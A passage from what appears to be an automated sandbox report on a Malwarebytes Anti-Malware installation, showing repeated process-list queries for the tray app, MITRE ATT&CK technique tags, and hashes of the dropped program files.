      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:4216
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    - Enumerates processes with tasklist
    PID:3732

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:3388

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:728

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:3056
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  - Enumerates processes with tasklist
  PID:2020

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:1684
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:4048

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:4388

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:3840

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:2012

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:4792

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:2116
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:64
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:3676
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:4428
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:2624
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:4284

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:4792

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:916

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:2580

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:116

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:1344
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:4044
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:1072
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:1316
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:772
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:4376
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:404

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:1772

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:4576

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:2972

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:3364
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:3840
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:2168
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:3460

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:2904

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:1892
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:2376

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
- Enumerates processes with tasklist
PID:2892

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:2272

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:4728

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:1264

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:3852

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:1344
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:3556

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:1892
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:1072

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:4568

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:4780

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:928

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:1908

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:2616

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:2740

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:4984

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\7z.dll

Filesize
53KB

MD5
231f5d6aff3febbb3beb017199e32ee7

SHA1
4354c591dc1647e0e0b0fdc52adc082cb710045b

SHA256
1ef3ab2ac01205e931020e49b0c653b292ad642d85bc9637dc1d0dfa09ce9dfc

SHA512
08a5090df5c156789a4cc7c01467401678f84d096c958c09ad8706d8abfd0a58b458a757efbca5d7a5e90673b5ef1e166600490230f7530f34960b20d14e0f4c

Download Submit
C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ActionsShim.dll

Filesize
92KB

MD5
15a96fd82e2d0bab2bbb28f1b808944a

SHA1
1ec5fe9d4d1902d507db4a913e0bcd01b44685ab

SHA256
29f0399894f3316bb6d1985d2ac27899c0d6d98d66c57a97ff9e9eee9fed3dee

SHA512
578596704491a60dd30f779f20400a6582218ebd6784cb9ab8b702a6c26d27fe680fa7a71ae8a24379e2eb31c2501705e1a80aeb117f39de3baea0d9001e1cba

Download Submit
C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\CleanControllerImpl.dll

Filesize
74KB

MD5
233001ea6b442d2bcfc4c8c06dc57ffe

SHA1
7abf26154b7b7fe6ca657ed98e75747ffdb16f76

SHA256
a74de95e80afbbe7df87ca31b675fd33e1c69f4f651443d2b84d5363ee838251

SHA512
e76bc4878a97a9d6fe7e1a75f05d1e535be66f55db9abda605593376163d70c22d547d29b21cafea455775813b272da454666c71a2de87a2d53ae53afd426078

Download Submit
C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\CloudControllerImpl.dll

Filesize
37KB

MD5
fb88a09d02f32b818b37505d2aa3857e

SHA1
2b964e775c51a3db5261cac7dfaf3096bdc517e0

SHA256
ca8cb542e208f224811f24e56acc7c6f155c7889af69833be3b8f387f34bb985

SHA512
e79ff9c5ccf65bd84aa223dfe021af6f66db19d98a22bee9db8d69cf2438f19428b38fac5857de29a66f7fe528b70187002e2cc5457f0b38a38e2a688d12e57f

Download Submit
C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\LicenseControllerImpl.dll

Filesize
52KB

MD5
0c21df5df291fa598a71586a461e997c

SHA1
526e5e2fb15385a0ff2d3ff67d52ae5f404a6316

SHA256
7d03dca550bbd9edba3da03d938e74c7e55199d666fa0df606521da30005f6b4

SHA512
4daa99c7a5303a8af28d5ad0b6ab1c8a9eefb4bd8db8af27ab09004d512b060afb54eb986855d41123ba4169bab84cec8b3e404e93fbfd826993cfd6a2ed07a8

Download Submit
C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\PoliciesControllerImpl.dll

Filesize
152KB

MD5
366f757bc11b0f0520cea3da54d49ea4

SHA1
3256d16ed3f7f98a47743ae244dff93a3980ba68

SHA256
7b1cc891132bd736f58364ebde307423a52596a9c92b8fe3fcec18afa8a538fd

SHA512
82c0b93772b93ce5de6b925f2c6220d0eadca55b038c1e3680b110e84fc62e42fcd7877104aaf9e6c4d9fbdff489331e2fc5a3a3154ce05adff7a800beab4d5b

Download Submit
C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ScanControllerImpl.dll

Filesize
116KB

MD5
3fdefc4b2e1bb9e25aada95a6f756c01

SHA1
c1c2d513395b40757711d1eedfa41233f2367b21

SHA256
dd114cfa4bd91057141b5feb78315e788a56b7590afbe14f085a569b21d7643d

SHA512
b5b59f4e30c978cdfe53c9feecb4f553843d80d0931334bfa937857b8bbceca100fb7772ce7db0d189f4760fdde8711435a591716e1ce18adec0156c042835e8

Download Submit
C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\TelemetryControllerImpl.dll

Filesize
72KB

MD5
58daf98385d0a417e6419634caa063fa

SHA1
5d2858be939e1fa3abd11e59f81040c0cd318ecc

SHA256
74686d0476315988601233b7212a569a2139a98732f7fe7e3d4ad5a19dda1d60

SHA512
2f36289458a456134c8fe028350de5b3fb3504dd5d7f409b1d0e66a775761fd3787d8a3696fab399ed89b1c5e45f7127078f45d972f23a0b2ccdf5f33e018a2a

Download Submit
C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\UpdateControllerImpl.dll

Filesize
34KB

MD5
f017c820f0a1e3a1d10dd74881f46c03

SHA1
fd3338707a59c5de8aac1e69f327a3fd2d6dcb9d

SHA256
2022685e2b424cf88bcdab378003d36f83fdf9e02c71d37126f10a765fbb98f6

SHA512
343a56bbe3e4ce6ebb9260bcbde6cd793ed342201625d8bc3a1eb615884f1a14bef9a7d7aaea4244896560e1ac1f26c5f1bf6fafa5dc898b885f8068981ddb5a

Download Submit
C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\mbshlext_proto

Filesize
123KB

MD5
98f24a41a14d2ff93a239a1fd219bba3

SHA1
0c0fcdc7e35062a7213f0d3b18ae4064bba566f1

SHA256
c72d179933dae4d45628ae006c9d226cee358a622fddd2799953dd4151c94edb

SHA512
9e76e1f0742775076896a05cb1690aa46976919b9aa59633e3d8b56ac3292b7b3cebed2e9b6d788f8424d9dca5485cc8f64b761d8d836ec516ac8810881ab9c5

Download Submit
C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\pkgvers.dat

Filesize
51B

MD5
bf86796fe0fb92b34e5f1100d5eb3bb5

SHA1
bc10ef8edff446a9aae29a70be7fdb380979f916

SHA256
2fc07c3fc5e834495d3f76b3f4b6454c57e78eb928cdd343b863d8170f00ed67

SHA512
ef0c5e7ad46e9dd5dbe3741595b5887b34b75eab30de27343b02e68f0430e8a8cc7c79791f3a0ac1871d362eef3bd34f9bd4ac54e77a95ad1d1f2e1c65a10cbe

Download Submit
C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\version.dat

Filesize
47B

MD5
f87ee333fc7093fb0a7d0bf86acde081

SHA1
8e5634b4eaf7ad9201be8fb04fd3ed734d3c5a28

SHA256
e5ef72fb7af61be42f9f833f5e532ff4128a26e73920832ca87c5f00164e74a7

SHA512
8530fb2efaa8de0c7f2a102a44fd4a035fbe9a06040290820fe0480e8f9bea2295695cce253023b92ad8ac0f2fe9563a6a0cd10e423e1c2e1fa212146276533f

Download Submit
C:\PROGRAMDATA\MALWAREBYTES\MBAMSERVICE\prot.mbdb

Filesize
24B

MD5
546d9e30eadad8b22f5b3ffa875144bf

SHA1
3b323ffef009bfe0662c2bd30bb06af6dfc68e4d

SHA256
6089fbf0c0c1413f62e91dc9497bedc6d8a271e9dc761e20adc0dccf6f4a0c1f

SHA512
3478f5dcf7af549dd6fe48ad714604200de84a90120b16a32233b6d44fa7240f5f4e5fe803f54b86bbdfd10fa1bfdd88fb85eb6a78e23e426933f98d0a2565ec

Download Submit
C:\PROGRAMDATA\MALWAREBYTES\MBAMSERVICE\rdefs.mbdb

Filesize
24B

MD5
2f7423ca7c6a0f1339980f3c8c7de9f8

SHA1
102c77faa28885354cfe6725d987bc23bc7108ba

SHA256
850a4ea37a0fd6f68bf95422d502b2d1257264eb90cc38c0a3b1b95aa375be55

SHA512
e922ac8a7a2cde6d387f8698207cf5efbd45b646986a090e3549d97a7d552dd74179bd7ac20b7d246ca49d340c4c168982c65b4749df760857810b2358e7eb69

Download Submit
C:\PROGRAMDATA\MALWAREBYTES\MBAMSERVICE\rules.mbdb

Filesize
119KB

MD5
6d20a1e6da0ccbe770d1741e79a7a8f7

SHA1
a5bd3ce8f4c35120bcb68322ef620957ad2cfacf

SHA256
c8e661fe26ba43e2fa624011f6fbd99fbe4f709251f64fc7b21a711d60e4ed18

SHA512
39fa72f7c9a2dcc3ec4c6b1b2e3d5555ba9a91345d5bf945d51f76ef1d19569d537f3a61940c9078d74d6341a75a5dccb53dd82308ad2d80df781b8f6fd6d936

Download Submit
C:\PROGRAMDATA\MALWAREBYTES\MBAMSERVICE\scan.mbdb

Filesize
55KB

MD5
60689d480ddc7a15b3495c5342bd0cd8

SHA1
34d6e68062e57873766732bf1e2c46316c4877f3

SHA256
b3c155f6127a506fa2b292a4f22ebaa4b5cbd2b15b3d5a3ac2effdb89efe56d5

SHA512
963b619bd365540b5d5b6932629a461b8718c50ddfa40bc1f1a4d6d71acd5b36b0f3c70d75bd4b32cd3623e696c8b49a4ce7b79c87495d5bb8ee5a41751c9055

Download Submit
C:\PROGRAMDATA\MALWAREBYTES\MBAMSERVICE\tids.mbdb

Filesize
91KB

MD5
a9f6d3b8fa034122f28bc0c0f13b411f

SHA1
93894eeeee31346d04553a9d0c584a3d6993eb33

SHA256
53b0a088b60c7f2020754561ded9eb2e87e7456c35333f26e7154271ad5948c6

SHA512
c29a9129298fd2f3d71eab45540f2b24122120c64b7b2e4c5d34eb9410d7697a3b5c96e3a2287a479129d0324101aa6d2ce86e73c163cd3aa5634d8d00683213

Download Submit
C:\PROGRAMDATA\MALWAREBYTES\MBAMSERVICE\wprot2.mbdb

Filesize
37KB

MD5
009a45ba56253d5db986fdce8ddfbfb1

SHA1
ccd3954bcddcaa26a477e068e5a20ed884f1e714

SHA256
7a0ec8ced9da733e78f3f7643acbce50087d283291573feb0102af20bfef650f

SHA512
afd8065040e53e0a6a09c072cbc2963914174f6f8e494a0f3e61ea686f0e8a9f0972b378e3c2ef2940190639d915d25357370dc72e8ee125afc8e5f8fa8cbba0

Download Submit
C:\Program Files (x86)\7-Zip\7z.dll

Filesize
382KB

MD5
fc036765669689f9f48ea7030a2d0b7e

SHA1
25097f6d074fe458c700ee857463f43220bf1f89

SHA256
a6d077774d519f774008c6d2581b6ec23081a4415a88a9a048ef9f976ff3bf98

SHA512
970785d2294c75fbe5d9b26a6e131b88b7a41b16562db7fef2617306bb431ce85dded0464fa939cd00b201b053eb24d6e744240079c04f3b477e3f2f882c6184

Download Submit
C:\Program Files (x86)\7-Zip\7z.dll

Filesize
530KB

MD5
226deae40b34ce48382e671572695398

SHA1
83532b9bc300288863dbe8b3f15e933cd0f4b6c6

SHA256
cc581544068bd737e5e00cf1539a495a1e92c7b3300218d0dc9132dfcad4b810

SHA512
35c9067f367afad8c9be762d47be9911524ca1f5484727800ef8df460a4f4cef5f2a9e03d13f678f5b189105af089a1ec8f3d5cb8e302c3ac92e60972155f3fe

Download Submit
C:\Program Files (x86)\7-Zip\7z.dll

Filesize
308KB

MD5
c6c2cb9c8e30cd2db809fdc6fb39ff8d

SHA1
3a6bddcf83e5d38439848bd263194528ba443abb

SHA256
c8ba04367594646a67407c567f327a6704fe036020db406d2a7db3c0674b2cd6

SHA512
94ad9a2a14de18e91243706b591eef652355393a208d22e2bd391a907cd48f92fceaa2611fae448951fc1a3bb5a512309650cc63b7006569f8049e2ef6c3cd22

Download Submit
C:\Program Files (x86)\7-Zip\7z.exe

Filesize
329KB

MD5
62d2156e3ca8387964f7aa13dd1ccd5b

SHA1
a5067e046ed9ea5512c94d1d17c394d6cf89ccca

SHA256
59cbfba941d3ac0238219daa11c93969489b40f1e8b38fabdb5805ac3dd72bfa

SHA512
006f7c46021f339b6cbf9f0b80cffa74abb8d48e12986266d069738c4e6bdb799bfba4b8ee4565a01e90dbe679a96a2399d795a6ead6eacbb4818a155858bf60

Download Submit
C:\Program Files\Malwarebytes\Anti-Malware\7z.dll

Filesize
19KB

MD5
b4a2fac6b2c59aed940dfec8fe7e1aa1

SHA1
d2f785a075bcde6f1df9d2424e0b75eef0263e2b

SHA256
22cd0561405351920c35a1da68ec631105a01f8294c994feecc75ebe44f351d6

SHA512
d6649568b8abf2215dcfbb4023432967a68a8a1da8086db6b600a679db38fc10e44de4e9201ae8f48d4fd625ce8f5235060b5b09416558406ae5b64a871e9462

Download Submit
C:\Program Files\Malwarebytes\Anti-Malware\ActionsShim.dll

Filesize
96KB

MD5
28e1864138147e0a9566f2479ee818ec

SHA1
e56cf78d7c471b1cf8d71c1ccd5ea3d380ed9213

SHA256
253f86b9e93609d12ce43afc81d9ef8468d6b1f0ad8d8c83374ab1b7052723f4

SHA512
7835b4fbbe3d1841354ea2cffc58a3ff510ce676754b72cfb8547b9b4f686e56776240fd060fd8273eec939024ba19a5d866464c9f31e963270e983da3463008

Download Submit
C:\Program Files\Malwarebytes\Anti-Malware\CleanControllerImpl.dll

Filesize
147KB

MD5
12e73219193c8eee3e237b65f4aca402

SHA1
092c905d9546531ac18962332a076e063e8633a3

SHA256
a4918b4e7c7b292e197fbda3333f51549d9c038c475aefd2731a89bd74830cfb

SHA512
6d1f0727122c706a436ec98b389ca7b4c25166ec1188118684faa5432cc494a14577d83465c8703274a18b728d9e6de619a1a6c042d8a9d32a5bd26087a33d5a

Download Submit
C:\Program Files\Malwarebytes\Anti-Malware\CloudControllerImpl.dll

Filesize
65KB

MD5
d9146809a6b4fc665ff4acb87db1ec91

SHA1
899a0385c237f3cb50d83ffab7d91dae970989f2

SHA256
1405c7949cd867c9a565d802b02bfb4cfb3ef98d73dceaf806f3e7f4e0ccd53f

SHA512
4f0ae72f0633f7ccb105a01f3c5db8f5c116b6b8e441e62ee6d1cb3b5d571a99240ce88c0b2ba11703a4c9ae1b35a5d26d7ae89cc9b21df11e8b5f6506596e45

Download Submit
C:\Program Files\Malwarebytes\Anti-Malware\Languages\lang_es.qm

Filesize
97KB

MD5
eac2d3fb3938824bca61fa98599c4a36

SHA1
b5809f70645ba8359e14b89b49e29071b14e7def

SHA256
21e8ca156584e4c005ab262a06c40597d21ee21e9fc2547376647cf5c3f9bcf3

SHA512
c8608ff859269e5f11cc041e787842f029b4d660d14e86379ec952aa7f705f776a862fbf6b3c34ebf3c329d5f0a0e79d1cdd4c9bcc5cebe9e12e9ab66683149e

Download Submit
C:\Program Files\Malwarebytes\Anti-Malware\LicenseControllerImpl.dll

Filesize
55KB

MD5
2d20cf89aae8061c6857fbe9ee239ae1

SHA1
00628cf37c3877352a647b0267b46760d663bc23

SHA256
1f0c75fecd420eab1ec48f4f4f47ad4525924969384d39731282c86c7bc2a6be

SHA512
fd803e5c5068597b2dc84cef6c16a75aa8d459b2b9c45f10c45ab341597ff9b226141c126e343a0b299c06ac1fc2d8140a3e95fcf518f589816e82e068c455c6

Download Submit
C:\Program Files\Malwarebytes\Anti-Malware\MBAMService.exe

Filesize
102KB

MD5
90aa23cb5b5bcf57a1141ac2f762f877

SHA1
9caee331d4b31e6cc64b01ef34526934e1b4eb54

SHA256
29c4d7f95a637830d181918bb7f3a89b950220295c7fda8521888b9f5623f628

SHA512
9b1e150a4775c76e597b1640728c01315eb0cb23d932100c008a582024d7183195cf5d4753b63b21be1cafd971446faf4245c8a4a5a1c51844b20079282bebfb

Download Submit
C:\Program Files\Malwarebytes\Anti-Malware\MBAMService.exe

Filesize
89KB

MD5
e0485f4fd024052dd8c2978f98394ade

SHA1
fa51a8ab10b277696c9da5b4b66f799d2661ad83

SHA256
76bdba85be07f969a4be1597329ad7d44f019892bacd545d9e1261f788793ccf

SHA512
546e06cc87f4c41f25759ece02048aae031e9d9ba2b558c4be1d13696a12cdebdd626dd7e3046998ca9c7735e1f711fdc35249524eacd1c8d7eddde0ab990035

Download Submit
C:\Program Files\Malwarebytes\Anti-Malware\MbamElam.cat

Filesize
9KB

MD5
988b553a227f7f37f14abb060a320b6f

SHA1
f8244956defa0241dca4a6d5e5ee159b5ff96ecf

SHA256
42b5c504cfeb02e7d12526ff5398d6063f3e9b3661bc4fb2ce312c7c6213af84

SHA512
4c080c853d9a9265ea80fab43cea78ed9230c7be7977f84bea98847792996a9434dc8cfeda96ab2f357eb86134cd81681c6b91215b3f61e89dc96fcdb15e4324

Download Submit
C:\Program Files\Malwarebytes\Anti-Malware\MbamElam.inf

Filesize
2KB

MD5
c481ad4dd1d91860335787aa61177932

SHA1
81633414c5bf5832a8584fb0740bc09596b9b66d

SHA256
793626d240fd8eefc81b78a57c8dfe12ea247889b6f07918e9fd32a7411aa1c3

SHA512
d292e028936412f07264837d4a321ecfa2f5754d4048c8bcf774a0e076e535b361c411301558609d64c71c1ce9b19e6041efa44d201237a7010c553751e1e830

Download Submit
C:\Program Files\Malwarebytes\Anti-Malware\MbamElam.sys

Filesize
20KB

MD5
31e4ac0c3d3bac32082304bd43560760

SHA1
ac98325151661fc73674bfde8f40d2322b6f6f86

SHA256
228ca2a510bb8bbf0e0ab29455bb0961b82774ff74e664bb20a864758b8b0904

SHA512
2cfbf89ffecb1a001b8cd4f61d02681cac5900ea3166825cbe77982cf5cec40dff1cd0e2c17d3fb73842273e083b60683baa94dbf995c65d42300c4741196a64

Download Submit
C:\Program Files\Malwarebytes\Anti-Malware\PoliciesControllerImpl.dll

Filesize
88KB

MD5
82175ffa5b5e279d194691595337468c

SHA1
9f16d2e86eb176cc90d601c74db0bc9bb57321ce

SHA256
b459584555ea012239ea3f3aa1f849418212ba34050508a44515e7c7a9fef919

SHA512
8847e9b6a79e7406fb82cd545869ffe7d51e5f2bef56bd48db3f5977bffa9fa589d0b3d01bc26bac98264a83bdd330d45a15b1aef421a73ab2a4334d3742b522

Download Submit
C:\Program Files\Malwarebytes\Anti-Malware\ServiceConfig.json

Filesize
606B

MD5
1afa5ea20d96f9bd61425e81de571db0

SHA1
b3a67234ff69bba22234cd0dc87ae022bc474ab7

SHA256
0ffdc8c1afc5011ddc74b0bbd015ee2eed7d10e60857e64e04cef1d149b8dcaf

SHA512
93071cfb35a3618ca0402f1151d06326dc961cfad3f05b9faf9641f086e5616580f4936c99c759aaaf5c3fa4762877e0b7c797a309f8f49dd6b428f4bf069d8d

Download Submit
C:\Program Files\Malwarebytes\Anti-Malware\ServiceConfig.json

Filesize
607B

MD5
2706528748dd68b2237f7423418a7fbd

SHA1
b376b8b6762d7a6bf43e7bad25924d924fc49450

SHA256
a702a65f9bb14b7e46c3d886a43b1731493349aba7fa63615ab1529c133d7b17

SHA512
b7a2d23bc9d9619e0d7bd6866fa6b6e4c61619a03a356cb069024324ae4e1821fc6dc75aa8682a92d2a46aa37b36981ec6d9900ec69592e2c71248d50e910381

Download Submit
C:\Program Files\Malwarebytes\Anti-Malware\TelemetryControllerImpl.dll

Filesize
22KB

MD5
5dd200687f31c24ac06368935956cbd2

SHA1
6ac48a8173a8cd0ce96cfd4d212d8194ca7db5d5

SHA256
894edda353ca3aa761ec26edf412ea8611267fea3b1f954dca57ba5bc64a2510

SHA512
bdca95e2a6dd1ed6b422884aeeffd34414e0dac72ae8781603e57eedf8a5ced4d8ec8daf40588d5f9b4823b41548545759fe9382fe72a27edaaa6183f9a760e7

Download Submit
C:\Program Files\Malwarebytes\Anti-Malware\UpdateControllerImpl.dll

Filesize
86KB

MD5
62668259ca45451d7585755c83490deb

SHA1
3f9679f957de58988bf2191a3e82c99d11d09ae6

SHA256
f495b4e71e546966b0ad54df0c7a3ade8f555041a94cabac51ecba2e68d251db

SHA512
81d604163e7cef2f29736b86f22ba30771a3ceaf643e02f97f484fed9389bd408793c2ffd2392a0019639b6c61f7cfd1dd43d46a560f6ae66bd85b171003006b

Download Submit
C:\Program Files\Malwarebytes\Anti-Malware\mbam.exe

Filesize
108KB

MD5
f7b506ff4f49616f9de58c74cc25c43c

SHA1
e2c94ebebcb3d2c31205ed534aa2267fdb1af712

SHA256
4be45b442c9f2312add7b2b283dad377a540f384ff924886a34f0a1b707f1bf8

SHA512
4e5abf486eb58fc111fdf41c0a48bb8d4782f24e3c9976485370d7375e0974bd3abd45458dc7a1e9111a6f34a624d811ebdd0c62faf16d9d55e3c1969b5c4116

Download Submit
C:\Program Files\Malwarebytes\Anti-Malware\mbamservice.exe

Filesize
149KB

MD5
ad40c0882d7a1310d84063f74e81193b

SHA1
7de1f19ac090f4eaf843433afa072a81dbe25f75

SHA256
91e3e7f6c50f440e98e891af01b2e293704e848308daef900f28145a69c3e816

SHA512
d5edd480c5686e207359bca42d0236d6138a57996756a5c6aa56ed9e9150d6cfa7047f36a711da2cd7fc7515ed7c066985ec2b7a29477d5610f840231085180d

Download Submit
C:\Program Files\Malwarebytes\Anti-Malware\mbshlext.dll

Filesize
59KB

MD5
9942a87696da00f1d3bed6cc0d028aa6

SHA1
c9d0b1e7d163d5e520020deaaaa722e0c9730243

SHA256
fe4a09a894ff9fd0e790a68cf485f4b17a29c7508f4cd0cd702e939ee60c92ba

SHA512
93b347d1cecbcdb2a5e45393c74601e81b8ef165940cd66dcb50c1e12440beea207a94470c0887f93aa316ee6108f946afcf29e976f3a0b9971b3823e51bb6b5

Download Submit
C:\Program Files\Malwarebytes\Anti-Malware\mbshlext.dll

Filesize
59KB

MD5
e98adabf910f7853069e7ba563d98ba0

SHA1
2d3019d57c368850089035fff1c501caa909b3cc

SHA256
6dfe64935d670384b3abf72585d0a11d17f86b7870b539c69eebbbd78d832672

SHA512
75288177f128eec5c842a0521ccab0c6d326a4fb4860758de39aa1534b186e38ce0e19ffdfb180c0fe8a36655e2eb45728bf812cd7739c1d9124cd68160dac44

Download Submit
C:\Program Files\Malwarebytes\Anti-Malware\sdk\MBAMSwissArmy.sys

Filesize
52KB

MD5
57d01e52ab6ef98b63972fa0819fd5ed

SHA1
eae0c0881ace07b0eafa05a9971c2f0fb61be5da

SHA256
4cbcebe162fc0038d2e8da948b712a56b1cc48aa9a9f4e84c7958d80310c954b

SHA512
328930a17a8df89de35b89ff8483258c393b525a5af21a56516daf8d1b37d9f5ab621dfd997839884fc074e4ac624ac6fda021e66e9d1f49ed62692d0126e807

Download Submit
C:\Program Files\Malwarebytes\Anti-Malware\sdk\farflt.sys

Filesize
40KB

MD5
22c7e87f0e8f81b7c71a00f1b5f1911e

SHA1
3ea8fabe5f15bed779e43c0ba31050582b580701

SHA256
79ad72eb71e1fcf35308155d774bba85a91a30a703e47da243069078e6b18e05

SHA512
b2dfd5e32b5c439e547ba7c2bb13893fc99b1cc5b8e62fadf9f6d947a58fe477ae714889e165e11bc1958a9c00e6c5007cd95c360c7f825bbc67eef57464a2ef

Download Submit
C:\Program Files\Malwarebytes\Anti-Malware\sdk\mbamchameleon.sys

Filesize
1KB

MD5
79e712f646115cd798ecac57dd937884

SHA1
8385b334194f212cac617464baa2f306b730a8b4

SHA256
e05acc7e8b81832b82b39cc1853262b2569fbddbd6fed5830a80089bb55935df

SHA512
a063ad14ded763e44c5e53e85c2dfa17b2065b7146d61e812e30fa5e0ca345ca37227c9ccdd126eacb814cb44acda85c3bba21501ae9d21d605f9a3f1a7643aa

Download Submit
C:\Program Files\Malwarebytes\Anti-Malware\sdk\mwac.sys

Filesize
1KB

MD5
8eb3cbb410fbfda92f5e999d9a543026

SHA1
570711693c6c0e83331b1f16bb205ebf1b1a58e9

SHA256
238fff7a293451573adfbe88536c76de3debc06d5b9bfd19e2d83d65ac4242eb

SHA512
